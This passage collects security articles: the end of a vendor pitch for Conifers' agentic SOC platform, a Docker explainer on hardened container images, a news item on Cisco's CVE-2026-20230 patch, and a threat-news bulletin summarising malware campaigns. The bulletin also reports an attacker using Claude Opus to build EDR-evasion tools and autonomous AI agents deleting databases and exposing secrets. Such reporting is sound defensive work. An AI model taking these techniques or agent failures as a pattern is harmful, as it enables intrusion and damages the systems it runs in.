  2. AI that knows the dynamic environment it's operating in and continuously draws on it. Generic AI produces generic investigations. "Normal" looks different in a healthcare environment than a fintech one. A detection rule that fires on a real threat in one environment will fire on routine activity in another. An investigation that escalates correctly in one environment will overlook the right answer in another. SOCs reporting value have AI systems that capture and persist institutional knowledge: the assets that matter, the analysts whose judgment shaped past incidents, the sanctioned actions, the escalation criteria, the tickets that turned out to be nothing and the ones that turned out to be everything. Without that grounding, AI in the SOC produces the average of the internet, which is the wrong answer in most environments.
  3. AI that is governable. The SOC-CMM 2026 report identifies effective SOC governance as the single most challenging area of SOC improvement, with 39% of respondents naming it. AI governance and SOC governance overlap. The agentic SOC operates inside customer-defined guardrails. It exposes a defensible reasoning trace for every action. It earns autonomy in stages rather than asking for it upfront. AI in the SOC cannot be a black box. The SOCs that figured this out are the SOCs where analysts trust the system enough to give it standing authority. That trust is what produces the productivity gain. Without it, the system stalls.

The architecture problem, in plain terms

Most enterprises trying to extract value from AI in the SOC today are running point AI inside a fragmented architecture. The point AI works inside a broken architecture. That is the architecture problem.

If a SOC's detection engineering team works in a different tool than its investigation team, AI in either tool will accelerate that team's slice of the workflow and do nothing about the handoff between them. If a SOC's threat hunters cannot easily test hypotheses across the same telemetry its investigations use, AI in either workflow will move only that workflow forward. If a SOC's remediation playbooks live in a SOAR tool that does not see what its investigation agent concluded, AI remediation will execute against stale context.

The fix is connecting the stages. More AI inside the same fragmented architecture compounds the original problem. That connective fabric is what "second wave" means. The first wave delivered AI per stage. The second wave delivers AI across stages.

What the second wave must look like

The five stages of the SOC must operate as one agentic fabric grounded in the customer's environment. Every closed investigation calibrates the next detection. Every threat hunt result updates the next intel cycle. Every remediation feeds back into the playbook the next agent uses. The SOC compounds.

In practice, a platform built this way sits on top of the SIEM, EDR, identity, cloud, ticketing, and threat intel stack an organization already owns rather than replacing it. The connective layer is what lets each stage feed the next instead of operating in isolation. Where that architecture is in place, SOCs report sharper investigations completed faster, detections that get surfaced and tuned instead of left silent or noisy, threat hunts that run continuously rather than episodically, and remediation that operates inside defined guardrails with full reasoning traces and audit-grade decision records.

The second wave of AI in the SOC must look architectural, not featural. The vendors and platforms that figure that out are the ones whose customers will move from "some value" to "excellent value" in next year's benchmark.

Spotlight: End-to-End Agentic AI for Security Operations

One platform built around this architecture is Conifers' end-to-end agentic SOC, launched in May 2026 on its CognitiveSOC™ platform. Rather than adding AI to a single stage, it connects threat intelligence, threat hunting, detection engineering, investigation, and remediation into one operating fabric grounded in each customer's institutional knowledge. The five functions feed each other context, so hunts inform detection, investigations calibrate future detections, and remediation runs inside customer-defined guardrails instead of static playbooks.

Governance is built in from the start. Every agent action carries a reasoning chain and an evidence trail, and customers set the scope and authority each agent operates under, expanding autonomy as confidence builds. That is the move from human-in-the-loop to human-on-the-loop oversight. The system runs on top of the stack a SOC already owns, with more than 60 integrations across EDR, identity, cloud, email, and ITSM, and no rip-and-replace migration.

The window is closing faster than most SOCs think

Adversaries are not waiting for the second wave to arrive. Google's Threat Intelligence Group disclosed the first confirmed AI-developed zero-day exploit earlier this year. Anthropic's Claude Mythos preview is identifying critical vulnerabilities at machine speed. JPMorgan's CISO published an open letter in April 2025 warning that the economics of cyber risk are shifting and that security buyers need to demand secure-by-default products instead of the current pace of rushed feature releases.

The defenders running first-wave AI inside a fragmented SOC will be the ones explaining what happened the morning after a breach. The defenders running second-wave AI as a connected fabric, with institutional knowledge inside the loop and governance built in from the start, will be the ones who saw it coming. The 10% number in the SOC-CMM 2026 report is a signal about the architecture most SOCs run right now. It is also a signal about which side of the next breach narrative each SOC will be standing on.

Visit Conifers.ai to request a demo and experience the power of a full lifecycle agentic SOC.

Frequently Asked Questions

Why are most SOCs reporting limited value from AI in 2026?

The SOC-CMM 2026 Maturity Report found that about 71% of SOCs see only some value or no value from their AI deployments. The root cause is architectural rather than technological. Most SOCs deployed AI as features inside individual products such as SIEMs, EDRs, and ticketing systems. Each feature accelerated its own stage of the workflow. None of them shared context across stages. The handoffs between threat intel, detection engineering, investigation, and remediation, which is where most SOC time goes, did not improve. AI accelerated the silos without connecting them. That is what produces "some value" instead of excellent value.

What does "second wave AI" in the SOC mean?

Second wave AI in the SOC means agentic AI that operates across the full SOC lifecycle rather than inside a single stage. The five stages of the SOC, threat intelligence, threat hunting, detection engineering, investigation, and remediation, run as one connected fabric. Agents share context. Closed investigations calibrate future detections. Threat hunt results update threat intel cycles. Remediation actions feed back into the playbook the next agent uses. The SOC compounds. This is the architectural pattern shared by the roughly 10% of SOCs reporting excellent value from AI in the SOC-CMM 2026 data.

Is the problem that SOCs are not buying enough AI?

No. The SOC-CMM 2026 data shows AI adoption growing aggressively across every category, with off-the-shelf LLMs up 55%, AI co-pilots up 145%, and AI agents up 118% year over year. SOCs are buying. The problem is that adoption is outpacing operational maturity. Two-thirds of SOCs are deploying off-the-shelf AI inside an existing security stack without modifying anything else around it. That cohort reports the least value. Buying more AI without changing the architecture it operates inside compounds the original problem instead of solving it.

How does institutional knowledge change AI SOC outcomes?

Generic AI produces generic investigations. A detection rule that fires on real threats in one environment will fire on routine activity in another. An investigation that escalates correctly in one organization will miss the right answer in another. AI systems that continuously ingest and persist dynamic institutional knowledge, the assets that matter, the analysts whose judgment shaped past incidents, the sanctioned actions, the escalation criteria, the historical incident outcomes, produce investigation results that match how a specific SOC operates. AI without that grounding produces the average of the internet, which is the wrong answer in most environments. Institutional knowledge is the difference between AI that produces noise and AI that produces decisions.

Three questions matter most. Does this AI operate across the full SOC lifecycle, or only inside one stage of it? How does the AI learn and persist the institutional knowledge of the organization's specific environment, and what happens to that knowledge when analysts leave? Can the team audit every agent action with a defensible reasoning trace, and can it govern agent autonomy in stages as trust builds? A vendor that cannot give clear answers to all three is selling first-wave AI, no matter what the marketing says.

What is the agentic SOC, and how is it different from a SOAR or AI co-pilot?

The agentic SOC is the category of security operations platform where AI agents operate as decision-makers across the SOC lifecycle, not as assistants inside a single product. A SOAR automates predefined workflows using static playbooks. An AI co-pilot accelerates an analyst's individual tasks. An agentic SOC runs agents that reason through investigations, surface and tune detections, threat hunt continuously, and remediate inside customer-defined guardrails, all while sharing context across stages. Analysts move from "in the loop" on every step to "on the loop" overseeing the system.

How quickly can a SOC move from first-wave AI to second-wave AI?

Faster than most teams assume. The shift is architectural, not a rip-and-replace. The connective layer that turns point AI into agentic fabric does not require buying new tools or replacing existing ones. It requires connecting what the SOC already owns into a system that compounds. Most SOCs underestimate how quickly the shift can be made once the architecture is in place.

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Thursday, June 4, 2026

Hardened Images Explained: Fewer CVEs, Smaller Attack Surface

When security teams scan their container environments for the first time, they often discover hundreds of known vulnerabilities, and almost none of them trace back to application code.

The overwhelming majority come from packages that shipped with the base image: shells, compilers, debug utilities, and libraries the application never calls. In a software supply chain built on containers, the base image is the foundation. If that foundation ships with unnecessary components, every workload built on top of it inherits the risk.

Hardened images address this problem at the source. They are purpose-built base images stripped down to only the runtime components an application needs, continuously patched, and shipped with verifiable metadata that lets security teams confirm exactly what is inside and how it was built.

Key takeaways

  • Most container vulnerabilities come from unnecessary packages inherited from base images, not from application code.
  • Hardened images strip out everything a containerized application does not need, reducing attack surface by up to 95%.
  • Beyond minimization, hardened images include verifiable supply chain metadata: SBOMs, build provenance, and exploitability data.
  • Container hardening differs from VM hardening; it focuses on image contents and build integrity, not OS-level configuration benchmark.

Why standard container images carry hidden risk

A general-purpose base image like a standard Linux distribution might ship with 400 or more installed packages. A typical containerized application uses 20 to 30 of them. The rest are inherited baggage: package managers, text editors, network diagnostic tools, documentation files, and libraries for use cases the container was never intended to serve.

Each of those unused packages is a potential attack surface. Vulnerability scanners flag them because they are genuinely present in the image, even if the application never imports or executes them. The result is a signal-to-noise problem that burns through security team capacity. When a team faces 200 findings and 80% of them exist in packages no running workload touches, the real vulnerabilities that need immediate attention get buried in triage.

The packages themselves are the other half of the problem. A shell in a production container gives an attacker an interactive environment to work from if they achieve initial access. A package manager lets them install additional tooling. Debug utilities help them map the network and identify lateral movement targets. None of these belong in a production container, but they ship by default in most general-purpose base images, quietly expanding the blast radius of any breach.

What makes a container image “hardened”

So what are hardened images in practice? Minimization gets the most attention, but it’s only one of three requirements. A genuinely hardened image is also continuously maintained and independently verifiable.

Quick definition: Hardened images are minimal, continuously patched base images that ship only the runtime components an application needs, paired with verifiable supply chain metadata like SBOMs, build provenance, and cryptographic signatures.

Three pillars displayed as cards: Minimization (remove unused packages, reduce CVE surface, smaller attack footprint), Continuous Patching (automated base image updates, timely CVE remediation, rebuild triggers), and Verifiable Metadata (SBOMs, provenance attestations, signatures, VEX documents).

Minimized attack surface

The most visible characteristic of a hardened image is minimization. Shells, package managers, and debug tools are removed. Only the runtime components the application needs to function are included. This is more aggressive than simply choosing a slim base image variant. Hardened images are often rebuilt from the package level up, selecting each component deliberately rather than subtracting from a general-purpose distribution.

The result is a dramatically smaller CVE surface. Where a general-purpose image might carry hundreds of known vulnerabilities, a hardened equivalent for the same runtime typically carries single digits or none.

Continuous patching and rebuilds

A hardened image that’s never updated becomes a snapshot of the day it was built. An image hardened on Tuesday can start drifting by Friday: three upstream CVEs published, two library patches released, and the image is already accumulating the kind of exposure it was designed to prevent.

Security requires ongoing maintenance: monitoring upstream projects for fixes, rebuilding images to incorporate patches, and doing this on a defined cadence with clear SLAs. The best hardened images are rebuilt continuously, not on a quarterly or release-driven schedule. That’s what separates production-grade hardened images from one-time efforts to slim down a Dockerfile.

Verifiable supply chain metadata

This is where hardened images connect to the broader supply chain security best practices that organizations are adopting. A truly hardened image ships with:

  • Software Bills of Materials (SBOMs) that list every package, version, and dependency in the image
  • Build provenance attestations aligned to frameworks like SLSA, providing cryptographic proof of how and where the image was built
  • Vulnerability Exploitability eXchange (VEX) data that identifies which CVEs present in the image are not exploitable given how the software is actually configured
  • Cryptographic signatures that verify the image has not been tampered with between build and deployment

This metadata is what makes automated policy enforcement possible in CI/CD pipelines. A CI gate that blocks deployments unless the base image has a signed SBOM and valid provenance attestation is only feasible when the image provider builds that metadata into the supply chain from the start. For organizations operating in regulated environments, it’s also what allows security and compliance teams to verify an image without reverse-engineering its contents.

Container hardening vs. VM hardening

The term “hardened image” appears in both container and virtual machine contexts, but the two practices address different layers of the stack.

Side-by-side comparison table with five rows: container hardening operates at the image layer with minimization, provenance, SBOMs, signatures, and VEX owned by app teams, while VM hardening operates at the OS layer with firewall rules, kernel parameters, CIS benchmarks, and user permissions owned by infra teams.
  • VM hardening focuses on OS configuration: disabling unnecessary services, tightening firewall rules, restricting user permissions, and tuning kernel parameters. Defined by frameworks like CIS Linux Benchmarks. Takes a full operating system and locks it down.
  • Container hardening operates at the image layer: what is packaged (minimization), how the image was assembled (provenance), and whether the contents are transparent (SBOMs and vulnerability data). Starts from a minimal foundation and builds up only what the application requires.

Both practices are valid and often coexist. Many organizations apply VM hardening to their container host nodes and container hardening to the images running on those nodes. They complement each other, but the techniques, tooling, and evaluation criteria are different. A CIS-hardened AMI and a hardened container base image solve distinct problems at distinct layers.

How to evaluate hardened images

Not all images marketed as hardened meet the same standards. When evaluating options, look for these characteristics:

  • Transparency: Can you see every package in the image? Is there a complete, machine-readable SBOM?
  • Provenance: Can you independently verify how and where the image was built? Are attestations signed and aligned to a recognized framework?
  • Patch cadence: How quickly are upstream security fixes incorporated? Is there a defined SLA, or is patching best-effort?
  • Compatibility: Do the images work as drop-in replacements in existing Dockerfiles and CI/CD pipelines, or do they require workflow changes?
  • Vulnerability data integrity: Does the provider suppress or filter CVE data to make the image look cleaner, or do they publish full vulnerability transparency with exploitability context?

The answers to these questions separate genuinely hardened images from images that are simply minimal. Minimization is necessary but not sufficient. Without provenance, patching discipline, and transparency, a small image is just a smaller attack surface with less visibility.

What hardened images are not

The term “hardened” is sometimes applied loosely. Because of this, it’s worth clarifying what does not qualify, because each of these approaches solves part of the problem while leaving the rest exposed.

  1. Choosing a slim or Alpine variant reduces image size, but it does not address provenance, patching cadence, or supply chain metadata. The image is smaller, not hardened.
  2. Running a scanner and manually removing flagged packages produces a point-in-time fix, not a continuously maintained hardened image. The next upstream CVE puts you back where you started.
  3. Building a distroless image from scratch achieves minimization but requires significant ongoing effort to maintain patch currency across every image in a portfolio. Without a defined rebuild cadence and verifiable metadata, the maintenance burden scales with the number of images.

Hardening, in the supply chain security sense, means all of these concerns are addressed systematically: the image is minimal, maintained, and verifiable.

Getting started with hardened images

Hardened container images are becoming the standard foundation for secure container deployments. They address the root cause of most container vulnerability findings: unnecessary packages inherited from general-purpose base images. And with verifiable supply chain metadata, they give security teams the transparency and audit trail that modern compliance requirements demand.

Docker Hardened Images provide this foundation across several thousand images spanning runtimes, frameworks, databases, and infrastructure components. Every image ships with SBOMs, SLSA Build Level 3 provenance, VEX data, and cryptographic signatures. The Community tier is free and open under Apache 2.0 with no restrictions on use or redistribution.

Explore our full catalog of hardened images and start replacing your base images today.

Frequently asked questions

What is the difference between a hardened image and a minimal image?

A minimal image has fewer packages, but that’s only one dimension of hardening. A hardened image also includes continuous patching with defined SLAs, verifiable build provenance, complete SBOMs, and vulnerability exploitability data. Minimization reduces the attack surface; hardening ensures the remaining surface is maintained, transparent, and verifiable.

Do hardened images work with existing CI/CD pipelines?

Well-designed hardened images are built to serve as drop-in replacements for standard base images. If your Dockerfile starts with a general-purpose runtime image, you can typically swap in a hardened equivalent without changing your build process. The key consideration is shell access: some hardened images remove shells entirely, which means build steps that rely on shell commands may need adjustment for multi-stage builds.

How do hardened images reduce CVE counts?

Every package in a container image is a potential source of CVEs. By removing packages the application does not need, hardened images eliminate the vulnerabilities those packages carry. A general-purpose base image with 400 packages might have 200 known CVEs. A hardened equivalent with 30 packages might have fewer than 5, because the vast majority of vulnerable components were never included. This significantly shrinks the surface an attacker can target and reduces the triage burden on security teams.



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Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public

Cisco has patched a bug in Unified Communications Manager that lets an unauthenticated attacker on the network write files to the box and, from there, climb to root.

It is tracked as CVE-2026-20230, and proof-of-concept exploit code is already public. Cisco's PSIRT says it has not seen the flaw used in attacks yet. The PoC shortens that runway.

The flaw is a server-side request forgery. Unified CM and its Session Management Edition fail to validate certain HTTP requests properly, so a crafted request can push the server into writing arbitrary files onto the underlying OS. Those files are the foothold. Cisco says they can be used later to escalate to root, the top privilege on the system.

That two-step is why the score and the rating disagree. The CVSS base is 8.6: it scores the file write (an integrity-only impact, no confidentiality or availability loss) but not the root escalation that follows. Cisco rated the advisory Critical anyway, since the end state is full root.

There is one mitigating factor: the flaw only works when the WebDialer service is running, and WebDialer ships off by default. That does not help any deployment that has switched it on.

To check, open Cisco Unified CM Administration and switch to Cisco Unified Serviceability. Under Tools > Control Center - Feature Services, look at the Cisco WebDialer Web Service status in the CTI Services section. Started means you are exposed.

Patching is the only real fix. For the 14 train, that is 14SU6. For 15, the full Service Update (15SU5) is not due until September 2026, so until then, you are on the interim COP patch, or you turn WebDialer off (uncheck it under Tools > Service Activation and save). An independent researcher working with SSD Secure Disclosure reported the bug.

Unified CM has been a steady source of unauthenticated, root-level trouble. Last July, Cisco pulled a hard-coded root SSH account left in from development (CVE-2025-20309, CVSS 10).

In January, it patched an unauthenticated RCE across several of its voice products (CVE-2026-20045) that was already being exploited in the wild, enough for CISA to add it to its known-exploited list.

This one fits the pattern: a request that should never have reached anything sensitive, reaching it. With a PoC public and the 15-train fix months out, assume someone turns that file-write into a working attack before the patches are everywhere.



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ThreatsDay Bulletin: AI Agents Gone Wrong, Sketchy C2 Tools, ClickFix Tricks, JS Backdoors & 20+ New Stories

It got stupid again.

The internet still feels held together with tape. Bad plugins, old bugs, fake tools, trusted apps doing shady things. Same mess, new wrapper. And now the weird stuff is normal. Forums go down and come back worse. Cheap hackers get better toys. AI starts breaking real systems. Great.

Read the whole thing before it ruins your week anyway.

  1. Unauthenticated SSRF risk

    Cisco has released fixes to address a high-severity security flaw in Unified Communications Manager (CVE-2026-20230, CVSS score: 8.6) that could allow an unauthenticated, remote attacker to conduct server-side request forgery (SSRF) attacks through an affected device. "This vulnerability is due to improper input validation for specific HTTP requests," Cisco said. "An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to write files to the underlying operating system that could be used later to elevate to root." The issue has been addressed in Cisco Unified CM and Unified CM SME Release versions 14SU6 and 15SU5. Cisco said it's aware of the availability of proof-of-concept exploit code for the flaw, but noted there is no evidence of active exploitation. It credited an independent security researcher working with SSD Secure Disclosure for reporting the vulnerability.

  2. Mobile spyware operation

    Russia's Federal Security Service (FSB) has disclosed details of what it described as a "large-scale action" undertaken by foreign intelligence services to stealthily implant spyware on the mobile devices of high-ranking officials in the country. "This software was utilized to exfiltrate existing data, intercept ongoing conversations, and conduct covert audio and video surveillance of the immediate surroundings of the electronic devices, with the ultimate objective of obtaining sensitive information," the FSB said. Russia did not reveal who was behind the attacks, but noted the "representatives of foreign intelligence services" leveraged the technical capabilities of major international IT corporations to exfiltrate sensitive data from the devices. This specifically included the exploitation of mobile communication channels, the agency added. An investigation into the activity is ongoing, with the FSB also initiating a criminal case to investigate the matter.

  3. Layered keylogger lures

    Threat actors have been relying on social engineering over the past few months to push VIP Keylogger via loaders written in JavaScript, batch scripts, and Visual Basic Script (VBS). "Attackers are masquerading as legitimate business communications such as bank payment notifications, procurement orders, and logistics updates to lure users into opening malicious files," Splunk said.

  4. Crypto sanctions escalation

    The U.S. Treasury's Office of Foreign Assets Control (OFAC) has announced sanctions against Nobitex, Iran's largest cryptocurrency exchange, for facilitating payments related to terrorist activities. "Nobitex has provided significant support to the regime, processing more than 50 percent of all Iranian digital asset inflows in 2025 and facilitating payments tied to Iran's terrorist activities, sanctions evasion efforts, and Islamic Revolutionary Guard Corps (IRGC)-linked transactions, including activity associated with IRGC-affiliated ransomware actors," the Treasury said. The sanctions also extend to Nobitex's chairman, co-founder, and former CEO, Amir Hossein Rad, as well as other Nobitex leaders and officials, and three other exchanges: Wallex, Bitpin, and Ramzinex. According to Chainalysis, Nobitex processed over 50% of all Iranian digital asset inflows last year. The four exchanges accounted for roughly $7.7 billion, 78% of Iran's USD 9.9 billion in attributed 2025 crypto volume, per TRM Labs.

  5. Cybercrime forum fallout

    The July 2025 law enforcement takedown of XSS, a prominent Russian-speaking cybercrime forum, didn't dismantle the ecosystem. Rather, it fractured it into competing, harder-to-track factions, Flashpoint said. The collapse has triggered an exodus into new, unvetted, and often adversarial communities. Some of the new forums that have rushed to fill up the void left by XSS include DamageLib (launched by legacy moderators of XSS), Rehub (launched by another former XSS moderator), XSS.pro (a resurrection using old backups and suspected to be a law-enforcement honeypot), and XSSF (started by a pro-Russian Telegram hacking group).

  6. RMM abuse surge

    A lesser-known remote desktop tool called Tiflux is being used in a growing number of attacks to establish persistence, transmit screenshots, and run commands to collect system profiling information. "Threat actors behind the rogue Tiflux incidents also installed UltraVNC, an open-source remote access tool, sideloaded other commercial RMMs, including Splashtop and ScreenConnect, and installed an outdated driver that can permit the threat actor to elevate their own privileges on an infected system," Huntress said. "Threat actors continue to test and weaponize the use of commercial remote access management tools."

  7. Malware delivery network

    A threat cluster tracked as DriveSurge has been operating large-scale malware distribution campaigns using ClickFix and FakeUpdates (aka SocGholish) social engineering techniques on compromised sites. Thousands of websites are estimated to have been compromised, directing users to malicious infrastructure. DriveSurge primarily acts as an initial access broker (IAB) operating on a pay-per-install (PPI) model, enabling follow-on attacks. Visitors of compromised websites are steered through a traffic distribution system (TDS) known as zTDS, which profiles the system and decides whether the visitor should be served a ClickFix or a FakeUpdates lure. zTDS, in use since at least 2015, is publicly available at ztds[.]info. "Using zTDS, DriveSurge hijacks thousands of legitimate, high-reputation websites and silently redirects visitors to malware, unbeknownst to the sites' owners or their visitors," Silent Push said. The campaign has been active since September 2025.

  8. Sensitive data leak

    The Spanish National Police has arrested an unidentified individual for leaking sensitive information related to members of various critical state organizations, including the National Cybersecurity Institute (INCIBE), the State Attorney General's Office, the National Police, the Civil Guard, and the National Security Council.

  9. JavaScript backdoor malspam

    Intrinsec haș disclosed that multiple malspam campaigns have been used to distribute a JavaScript-coded backdoor. "The targets of those campaigns were from all regions and sectors, notably energy and finance ministries, including in the CIS region," the company said. "We believe the campaigns to be financially motivated and operated for email account compromise (EAC) and/or business email compromise (BEC)." The activity was observed in March 2026.

  10. On-chain malware delivery

    Cybersecurity researchers have flagged an intrusion in which threat actors used the EtherHiding technique to route ClearFake payload delivery through smart contracts on the BNB Smart Chain testnet. "The attack chain ended with two simultaneously deployed stealers, SectopRAT and ACRStealer, alongside an on-chain execution tracker that confirmed each victim compromise in real time," Trend Micro said.

  11. Cloud attack tradecraft

    Nation-state hacking groups like APT29, APT33, and UTA0355 are exploiting ROADtools, a Python-based open-source framework for red-teaming and research, to blend in with normal traffic and evade detection. "ROADtools operates through legitimate Microsoft APIs and can mimic typical traffic," Palo Alto Networks Unit 42 said. "Further defense evasion can be achieved by configuring request attributes such as user-agent strings. These capabilities have made ROADtools a valuable asset for attackers. Nation-state threat actors have used it in recent cloud intrusions for discovery, persistence, and defense evasion. Attackers involved in a targeted phishing campaign in early 2025 used tooling that matches ROADtools' token management capabilities."

  12. Data-only extortion rises

    Pure data-exfiltration campaigns without deploying ransomware to pressurize victims are on the rise. In 2025, such attacks have primarily targeted professional services, healthcare, and consumer services firms. "Interestingly, while manufacturing remains the single most disrupted sector overall, construction has witnessed a 44% year-over-year increase as a data-only extortion hotspot," Unit 42 said. "These firms are attractive targets due to lucrative financial blueprints and bidding data combined with data egress controls."

  13. AI-assisted evasion testing

    An unknown threat actor has been observed using artificial intelligence (AI) technologies to automate Active Directory discovery and refine endpoint detection and response (EDR) evasion tactics in a red team post-exploitation framework. "Analysis revealed that AI for malware development was more limited and was mainly used to coordinate workflows and support experimentation," Sophos said. "The actual EDR-bypass path was a structured engineering test cycle that included human review and iteration." To develop tools for bypassing EDR agents, the attacker is said to have used Cursor and Anthropic Claude Opus. At the core of the framework is a Python tool that generates Go and Rust payloads for testing with an aim to resist sandboxing, antivirus, and EDR detection. This approach was used to build nearly 80 modules covering more than 70 techniques. Also attributed to the threat actor are Python-based malware development scripts for injecting shellcode into legitimate Windows executables and a Telegram bot API-based external command and control (C2) mechanism. "The use of AI agents to accelerate tool development and test evasion techniques lowers the barrier to entry for sophisticated red team-style attacks," Sophos said. "However, this shift does not change how defenders should protect themselves." The framework is said to be built for stealthy post-exploitation activity in target environments, linking it to "known ransomware deployment and data theft operations."

  14. Steam-hosted malware payloads

    A newly identified malware is using Steam Community profile comments to host malicious payloads for WordPress, hiding malicious infrastructure behind Valve's legitimate platform. "The malware employs invisible Unicode characters to conceal payloads within Steam profile comments, enabling steganographic data encoding that evades traditional text-based detection methods," GoDaddy said. "A cookie-authenticated backdoor enables remote code execution, allowing attackers to modify plugin and theme files by sending base64-encoded PHP code via POST requests." The malware performs two primary functions, including client-side JavaScript injection, which fetches encoded URLs from Steam profile comments, decodes them, and injects external JavaScript into WordPress pages, and a server-side backdoor that provides cookie-authenticated remote access for modifying PHP files across plugins and themes. The campaign was first detected in July 2025. The malware has been detected on approximately 1,980 WordPress sites. It is unclear how the websites are breached, but it's assessed that the initial infection vector could be stolen admin logins, compromised FTP/SFTP credentials, the exploitation of a vulnerable WordPress theme or plugin, or a supply chain compromise.

  15. Trusted tools abused

    Flare.io has disclosed details of FalkonC2, a commercial hacking tool that appears designed to hide inside enterprise environments by abusing trusted remote access software. "FalkonC2 has an enterprise version called Rotemelli2 that runs in memory, rotates its command-and-control domains every 72 hours, and uses tools such as ScreenConnect, Datto, and SimpleHelp to quietly launch attacks," the company said in a statement. An analysis of dashboard telemetry suggests active enterprise infections across the U.S., Australia, the Netherlands, and Poland. The framework also checks infected machines for QuickBooks and Sage50 data, suggesting attackers are looking for accounting systems they can quickly exfiltrate.

  16. AI vulnerability surge

    Anthropic is broadening access to its Project Glasswing program, adding approximately 150 organizations in 15 countries for access to its Claude Mythos Preview. "The bottleneck in cybersecurity is now verifying, disclosing, and patching the large numbers of vulnerabilities that Mythos-class models can surface," the company said. The growing number of flaws identified with the help of AI models has shifted the scales from discovery to patching. A recent report from the Cloud Security Alliance (CSA), the SANS Institute, and the Open Worldwide Application Security Project (OWASP) concluded that in the near term, organizations are "likely to be overwhelmed" by threat actors using AI to find and exploit vulnerabilities faster than defenders can patch them. "The cost and capability floor to exploit discovery is dropping, the time between disclosure and weaponization is compressing toward zero, and capabilities that previously required nation-state resources are now becoming broadly accessible," the report said.

  17. Linux flaw under attack

    The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a Linux Kernel flaw (CVE-2022-0492, CVSS score: 7.8) to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to remediate the flaw by June 5, 2026. "Linux Kernel contains an improper authentication vulnerability which could allow for privilege escalation via the cgroups v1 release_agent feature," CISA said. The development comes after Kaspersky said it observed the flaw, along with CVE-2019-5736 and CVE-2024-21626, being exploited in attacks aimed at container environments.

  18. Fake image tools deliver malware

    A new ClickFix-style lure is being dressed up as free image-editing tools to deliver CastleLoader, which then drops both NetSupport RAT and a custom .NET stealer called CastleStealer. "The sites look like every other 'remove your photo background' service with uploads, progress bars, and download buttons, but the entire UI is fake," Huntress said. The activity has been codenamed BackgroundFix. CastleLoader is attributed to a threat cluster known as GrayBravo.

  19. Session theft defense

    Google has revealed that Device Bound Session Credentials (DBSC) in the Chrome browser is now generally available and enabled by default for Google Workspace users. "DBSC strengthens account security after users are logged in and helps bind a session cookie - small files used by websites to remember user information - to the device a user authenticated from," Google said. "Even if malware was present on the user's device, DBSC reduces the risk of session theft and makes it meaningfully more difficult for malicious actors to exploit stolen session cookies." The feature was formally released in April 2026.

  20. Adobe abused in phishing

    Cybercriminals are weaponizing Adobe infrastructure in a LinkedIn phishing campaign that steals passwords and redirects victims to the legitimate LinkedIn site afterward. Opening an HTML attachment in the email message serves a login form urging the recipient to enter their credentials. The captured information is delivered to the domain "lnkd.tt.omtrdc[.]net/rest/v1/delivery," after which they are redirected to the LinkedIn site. "This domain belongs to Adobe and is associated with the Adobe Target A/B testing platform," Malwarebytes said. "But the campaign isn't using Adobe Target to receive the phished credentials. Instead, attackers are abusing Adobe Target as a redirect/abuse point in the phishing flow."

  21. Supply chain delay defense

    RubyGems has included a cooldown, a time-based filter, in Bundler version 4.0.13 that refuses to resolve to a version until it has been public for at least "N" days. "Releases too new to have been scrutinized are passed over in favor of ones that have aged past the window," Hiroshi Shibata, RubyGems maintainer, said. "It is opt-in, and complements rather than replaces existing defenses like mandatory 2FA and trusted publishing." Users can declare a "small cooldown" on the source in the Gemfile. The efforts go along with other initiatives like AI-assisted vulnerability scanning against the most critical gems in the registry.

  22. Iran-linked Israel attacks

    ESET said it recorded an unusual spike in Iran-aligned activity against Israeli targets between October 2025 and March 2026 that could not be linked to previously known groups. "Two unattributed activity clusters, Rusty Boots and MoKhargosh, demonstrated both espionage capabilities and destructive potential - including deployment of a bootkit-style wiper and retaining destructive tooling for later use - whereas a third, MOØN Badr, appears to have been limited to targeted espionage," the Slovakian company said. MoKhargosh, first observed in January 2026, used Go-compiled binaries in attacks targeting Israel. This includes a backdoor called GoKhargosh, along with wipers, filecoders that overwrite files with junk data, and a wiper that targets the master boot record to render the system unbootable. MOØN Badr, on the other hand, singled out three unidentified victims in Israel in early January 2026 to deliver the MOØN AGENT backdoor via phishing emails to facilitate command execution and file uploads and downloads.

  23. Fuel tank systems exposed

    The U.S. government has issued an advisory urging organizations to take steps to defend against attacks targeting U.S.-based automatic tank gauge (ATG) systems by securing them with strong passwords and by removing them from the internet to reduce public exposure. The activity, which remains unattributed, involves the attackers compromising internet-exposed ATG systems via hard-coded credentials, command execution, and SQL injection vectors, followed by escalating privileges to obtain full administrator rights and modifying the system functions. "Should a cyber threat actor exploit these vulnerabilities and compromise an ATG system, they could disrupt or manipulate the below critical functions by interfacing directly with the tank management as though they possessed legitimate physical access to the system console," government agencies said.

  24. Verified call defense

    Google has announced a fake call detection feature, built on Rich Communication Services (RCS), to Android devices running versions Android 12 and later that verifies whether a call is coming from the caller's actual Android smartphone. Enabled by default, the alert is designed to avoid falling victim to deepfake impersonation and call spoofing in real time. "When a contact calls you and you're both using Phone by Google, their device sends a silent confirmation signal in real time to your device to verify the call is legitimate and truly coming from the contact's device," Google said. "If a scammer tries to impersonate your contact, that initial confirmation signal will be missing. Your device will instantly notice this and ping your contact's actual device to double-check. If their real device says, 'I'm not making a call right now,' you'll get a warning on your screen advising you to hang up immediately." Because the digital handshake uses end-to-end encrypted RCS technology, Google said the process is completely private. That said, the feature requires users to have three Google apps installed: Phone by Google, Contacts, and Google Messages. It will roll out globally this month, starting with Pixel devices.

  25. Agentic AI failures

    An analysis of 7,200 publicly reported AI-security and operational incidents has identified "344 verified enterprise-relevant agent-inflicted damage cases between September 2023 and May 2026, including 188 incidents where autonomous AI systems caused direct organizational harm without any external attacker involvement," Cyera researchers Ehud Halamish, Assaf Morag, and Vladimir Tokarev said. "The majority of confirmed incidents involved real production impact rather than theoretical AI risk scenarios. Observed outcomes included deleted databases, destructive cloud actions, unauthorized financial operations, runaway API spending, service outages, exposed secrets, and silent integrity corruption inside enterprise environments. As agents gain broader permissions and deeper integration into SaaS, cloud, development, and business environments, the AI interaction layer itself increasingly becomes part of the enterprise attack surface and critical data perimeter."

The lesson is boring because the lesson is always boring. Patch faster, kill exposed admin panels, stop trusting "safe" tools by name, and watch the weird edges where attackers like to hide. The cheap stuff still works because too many teams leave it cheap.

Security is not magic. It is inventory, logs, least privilege, backups, tested restores, and people who notice when something normal starts acting wrong. Do that well, and half this mess gets a lot less exciting. That is the point.



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